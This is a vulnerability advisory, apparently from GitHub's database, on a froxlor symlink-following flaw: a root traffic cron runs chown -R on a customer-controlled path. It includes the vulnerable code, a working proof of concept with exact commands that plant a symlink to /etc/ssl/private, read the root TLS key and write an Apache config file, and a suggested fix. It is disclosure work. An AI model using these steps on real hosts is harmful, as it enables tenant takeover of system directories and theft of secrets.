froxlor/froxlor: Local privilege escalation via missing symlink containment in the root traffic cron's `chown -R`, enabling takeover of any host directory
What fixes it
- 2.3.15froxlor/froxlor, composerGitHub
composer require "froxlor/froxlor:^2.3.15"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
**Local privilege escalation (CWE-59, link following) through a root chown -R that never runs froxlor's own symlink-containment walk.** Statistics::makeChownWithNewStats() builds $dir = <customer documentroot>/<system.traffictool>/ and hands it to chown -R as root, passing it through FileDir::makeCorrectDir($dir) with one argument — and the containment walk inside that function is gated on the optional second parameter $fixed_homedir. With one argument the call is pure string normalisation: it guarantees a leading and a trailing slash and checks nothing.
The customer owns their document root, so they replace the goaccess entry inside it with a symlink to any directory on the host. The trailing slash makeCorrectDir guarantees is exactly what makes chown -R dereference that final symlink and recurse into its target, because chown -R's default -P only refuses symlinks encountered *during* traversal — the command-line operand is resolved by the kernel before chown sees it.
This is the same defect class as CVE-2026-41231 (DataDump export cron) and CVE-2026-41236 (SSH-key sync), with one difference that makes it worse: **the traffic cron is seeded active in the shipped schema**, where the export cron that CVE-2026-41231 covered is seeded isactive = '0'.
Details
// lib/Froxlor/Http/Statistics.php:144-162
public static function makeChownWithNewStats(array $row)
{
…
// get correct directory
$dir = $row['documentroot'] . '/' . Settings::Get('system.traffictool') . '/'; // :156
// only run chown if directory exists
if (file_exists($dir)) { // :159 dereferences the link
FileDir::safe_exec('chown -R ' . escapeshellarg($user) . ':' . escapeshellarg($group)
. ' ' . escapeshellarg(FileDir::makeCorrectDir($dir))); // :161 ONE argument
}
}// lib/Froxlor/FileDir.php:133
public static function makeCorrectDir(string $dir, string $fixed_homedir = ""): string
{
…
// if given, check that the target path is within the $fixed_homedir
if (!empty($fixed_homedir)) { // the entire is_link() walk lives inside this$row['documentroot'] is /var/customers/webs/<loginname>/, which froxlor creates and chowns to the customer in TasksCron::createNewHome. system.traffictool ships as goaccess (install/froxlor.sql.php:700). So the attacker controls what the final path component refers to.
This is the guard its own siblings already carry. The 2.3.11 containment sweep — 2cd70e95, ea558864, 4ae653ef, 59cd0090, 8192f427 — fixed exactly this shape everywhere it looked:
| Root FS operation | Path source | Call | Containment | |---|---|---|---| | TasksCron::deleteEmailData rm -rf | customer emailpath | makeCorrectDir($email_full, $customermaildir) — TasksCron.php:356 | present (59cd0090) | | TasksCron::deleteFtpData rm -rf | customer homedir | makeCorrectDir($row['data']['homedir'], $customerdocroot) — TasksCron.php:392 | present (59cd0090) | | FileDir::mkDirWithCorrectOwnership mkdir+chown -R | customer docroot | makeCorrectDir($sdir, $homeDir) — FileDir.php:96 | present (2cd70e95) | | ExportCron chown -R (CVE-2026-41231) | customer export destination | two-argument form | present (ea558864) | | **Statistics::makeChownWithNewStats chown -R | customer documentroot | makeCorrectDir($dir)** — Statistics.php:161 | absent |
The combined --stat of those five commits touches Cron/Http/Apache.php, Cron/Http/Nginx.php, FileDir.php, Validate/Validate.php, Cron/System/ExportCron.php, Cron/System/TasksCron.php and Cron/System/SshKeys.php. It never touches lib/Froxlor/Http/Statistics.php or lib/Froxlor/Cron/Traffic/TrafficCron.php, and Statistics.php has not been modified for a security reason since 2023 — its last two commits are 4d3f47fe (2025-09-29, a copyright note) and 46466387 (2023-02-07, type declarations).
Reachability. TrafficCron.php:219 calls makeChownWithNewStats($row) *after* the goaccess/awstats/webalizer dispatch, inside if (isset($domainlist[$row['customerid']]) && count(...) != 0) — so it runs for every customer holding at least one domain, which every customer with createstdsubdomain has. It does not require any statistics binary to be installed; the chown -R runs regardless of whether goaccess exists.
install/froxlor.sql.php:918
(2, 'froxlor/core', 'traffic', '\\Froxlor\\Cron\\Traffic\\TrafficCron', '1 DAY', '1', 'cron_traffic'),
^^^ isactiveand every froxlor cron job runs as root — CronConfig.php:113 writes root <php> …/bin/froxlor-cli froxlor:cron <job> into /etc/cron.d.
A second sink sits in the same function: Statistics::createAWStatsConf (Statistics.php:59-64) does mkdir -p <customerDocroot>/awstats/<siteDomain>/ and then calls makeChownWithNewStats, reached from Cron/Http/Apache.php:1193 and Cron/Http/Nginx.php:814 when system.traffictool = awstats — i.e. through task type 1, which any customer enqueues with a single SubDomains.update. That path is stated from the code and was not separately demonstrated.
Proof of concept
froxlor 2.3.14 (c147de18, which is also origin/v2 HEAD), system.traffictool = goaccess (shipped default), phpfpm.enabled = 1, customer web1 (uid/gid 10000, documentroot /var/customers/webs/web1/). Docker: mariadb:10.11 + php:8.2-apache, installed unattended through bin/froxlor-cli froxlor:install. A system user web1 was created in the container because a real froxlor host resolves that name through libnssextrausers (system.nssextrausers = 1), which a plain php-apache image does not carry — environment fidelity, not a shortcut past the bug.
The victim object is /etc/ssl/private, mode 0700 root:root, which pre-existed the exercise. The key inside it was written by root, before the attacker acted.
=== 1. PRE-STATE (root-owned, pre-existing; tenant cannot read) === drwx------ 1 0 0 20 Sep 17 03:36 /etc/ssl/private -rw------- 1 0 0 1704 Sep 17 03:36 /etc/ssl/private/server.key cat: /etc/ssl/private/server.key: Permission denied === 2. CONTROL: tenant cannot chown it === chown: changing ownership of '/etc/ssl/private': Operation not permitted === 3. ATTACK (tenant, inside its own documentroot) === lrwxrwxrwx 1 web1 web1 16 Sep 17 03:40 goaccess -> /etc/ssl/private === 4. root runs the default-enabled daily traffic cron === Running "traffic" job === 5. POST-STATE === drwx------ 1 10000 10000 20 Sep 17 03:36 /etc/ssl/private -rw------- 1 10000 10000 1704 Sep 17 03:36 /etc/ssl/private/server.key === 6. IMPACT ARTEFACT: tenant reads the root TLS private key === Modulus=C604480DF371B914B0DC28D17534716EF32AD22ED3AA2AC4C6CC327E -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGBEgN83G5FLDc
Exact commands:
# as root, once, before the attacker acts (the victim secret)
openssl genrsa -out /etc/ssl/private/server.key 2048
chmod 600 /etc/ssl/private/server.key && chown root:root /etc/ssl/private/server.key
# as the tenant
su web1 -s /bin/sh -c "cat /etc/ssl/private/server.key" # -> Permission denied (read-first)
su web1 -s /bin/sh -c "chown web1:web1 /etc/ssl/private" # -> Operation not permitted (control)
su web1 -s /bin/sh -c "rm -rf /var/customers/webs/web1/goaccess; \
ln -s /etc/ssl/private /var/customers/webs/web1/goaccess"
# as root — this is what cron does, daily
php /var/www/froxlor/bin/froxlor-cli froxlor:cron traffic
# as the tenant
su web1 -s /bin/sh -c "openssl rsa -in /etc/ssl/private/server.key -noout -modulus"The oracle is not "the cron did not refuse". It is the ownership triple on the object under test flipping 0:0 → 10000:10000, plus the tenant printing the actual PEM bytes and RSA modulus of a key it could not read one command earlier. The positive control tests the tenant's own ability against that object and grants nothing on it — it fails closed and leaves the object untouched.
Negative control, isolating the symlink as the cause:
=== NEGATIVE CONTROL: same cron, a real directory instead of the symlink === drwxrwxr-x 1 web1 web1 0 goaccess --- pre: drwx------ 1 0 0 20 /etc/ssl/private --- post: drwx------ 1 0 0 20 /etc/ssl/private <- unchanged === RE-ARM: symlink again, confirm reproducibility === drwx------ 1 10000 10000 20 /etc/ssl/private
Second target, showing this is arbitrary-directory and root-equivalent — /etc/apache2/conf-enabled, pre-existing since the image build:
--- pre: drwxr-xr-x 1 0 0 30 /etc/apache2/conf-enabled --- post: drwxr-xr-x 1 10000 10000 224 /etc/apache2/conf-enabled $ su web1 -c 'echo "# tenant-controlled apache directive" > /etc/apache2/conf-enabled/pwn.conf' -rw-rw-r-- 1 10000 10000 37 /etc/apache2/conf-enabled/pwn.conf
Owning conf-enabled is arbitrary Apache configuration, and froxlor's own cron reloads Apache.
Impact
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 8.8 High.
AV:L because the attacker needs their own shell, FTP or web access to their document root to create the symlink. That is an ordinary shared-hosting capability, not a network API call, so Local is the honest reading — if you treat a tenant's own filesystem as panel-reachable (the customer can also set documentroot through the API and upload through froxlor's own FTP), the vector is AV:N and the score 9.6. I state the conservative one. AC:L — no race and no window; the symlink simply waits for the daily cron. PR:L — an ordinary customer account. S:C — the vulnerable component is the panel, the impacted component is the host OS outside froxlor's managed scope. C:H/I:H/A:H — ownership of an arbitrary tree gives read of any secret in it (demonstrated on TLS private keys), write into it (demonstrated on Apache configuration), and destruction of it.
For calibration against your own record: CVE-2026-41231, the same chown -R-through-symlink shape in a cron seeded inactive, is rated High.
Suggested fix
Pass the customer boundary as the second argument, exactly as ea558864 and 59cd0090 did for the other crons:
$homedir = FileDir::makeCorrectDir($row['documentroot']);
FileDir::safe_exec('chown -R … ' . escapeshellarg(FileDir::makeCorrectDir($dir, $homedir)));Six more root operations in the same subsystem take a customer-controlled path with no containment at time of use, and they are the reason a chokepoint is worth more than a point fix here. Reported as leads rather than as findings, because only the one above was demonstrated:
| Handler | Privileged op | Path provenance | file:line | |---|---|---|---| | Statistics::createAWStatsConf | mkdir -p | customer documentroot + /awstats/ | Http/Statistics.php:59-61 | | TrafficCron .ftpquota | fopen('w') + chown | ftp_users.homedir | Cron/Traffic/TrafficCron.php:513-520 | | TrafficCron::callGoaccessGetTraffic | mkdir -p, unlink | documentroot/goaccess/… | TrafficCron.php:603-633 | | TrafficCron::callWebalizerGetTraffic | mkdir -p, unlink, cp | documentroot/webalizer/… | TrafficCron.php:687-715 | | TrafficCron::awstats* | mkdir -p, ln -fTs, fopen('w') | documentroot/awstats/… | TrafficCron.php:838-842, 863-864, 935-937 | | Fcgid::getConfigDir / createIniFile | root fopen('w') into a directory just chowned to the customer | mod_fcgid_configdir/loginname/domain | Cron/Http/Php/Fcgid.php:128-134, 215-219 |
Two related observations from the same read, also unproven: Cron/Http/Nginx.php:1004 and :1062 have no counterpart to the write-time re-validation 2cd70e95 added at Apache.php:1246; and FileDir::makeCorrectFile (:466-472) never received the resolveDotSegments() hardening its makeCorrectDir sibling got in 4ae653ef, so a relative symlink target still passes the prefix check there — its only $fixed_homedir callers are SshKeys.php:58 and :142.
What this is not
Not remote code execution by itself. It is an ownership primitive; root execution follows from what the attacker chooses to own and needs a second step — write a file, wait for a reload.
Not dependent on any statistics binary being installed. The chown -R runs whether or not goaccess, awstats or webalizer is present.
Not a race condition. CVE-2026-41236 (SSH keys) is a TOCTOU; this one has no window to win — the symlink is planted and waits.
The $user/$group used are the customer's login name when mod_fcgid or phpfpm is on. On a host without libnssextrausers and with phpfpm.enabled = 1, chown fails with invalid user and the attack no-ops. froxlor ships nssextrausers = 1 and its installer configures it, so a default install is affected; with mod_fcgid = 0 and phpfpm.enabled = 0 the numeric guid is used and the caveat disappears entirely.
The awstats / task-1 sink was read, not run. Only the traffic-cron sink is demonstrated.
Affected range verified at 2.3.14 and origin/v2 c147de18. origin/main is the v3 Laravel rewrite and does not contain lib/Froxlor/ at all, so it carries none of this code yet. The one-argument call is present in every tag from 2.0.0; in 0.10.x the same function chowns a fixed webalizer/awstats subdirectory, so the class reaches further back, but I claim only what I verified.
Text from GitHub Advisory Database
Affected versions 1
- froxlor/froxlor, composer>= 2.0.0, <= 2.3.14GitHub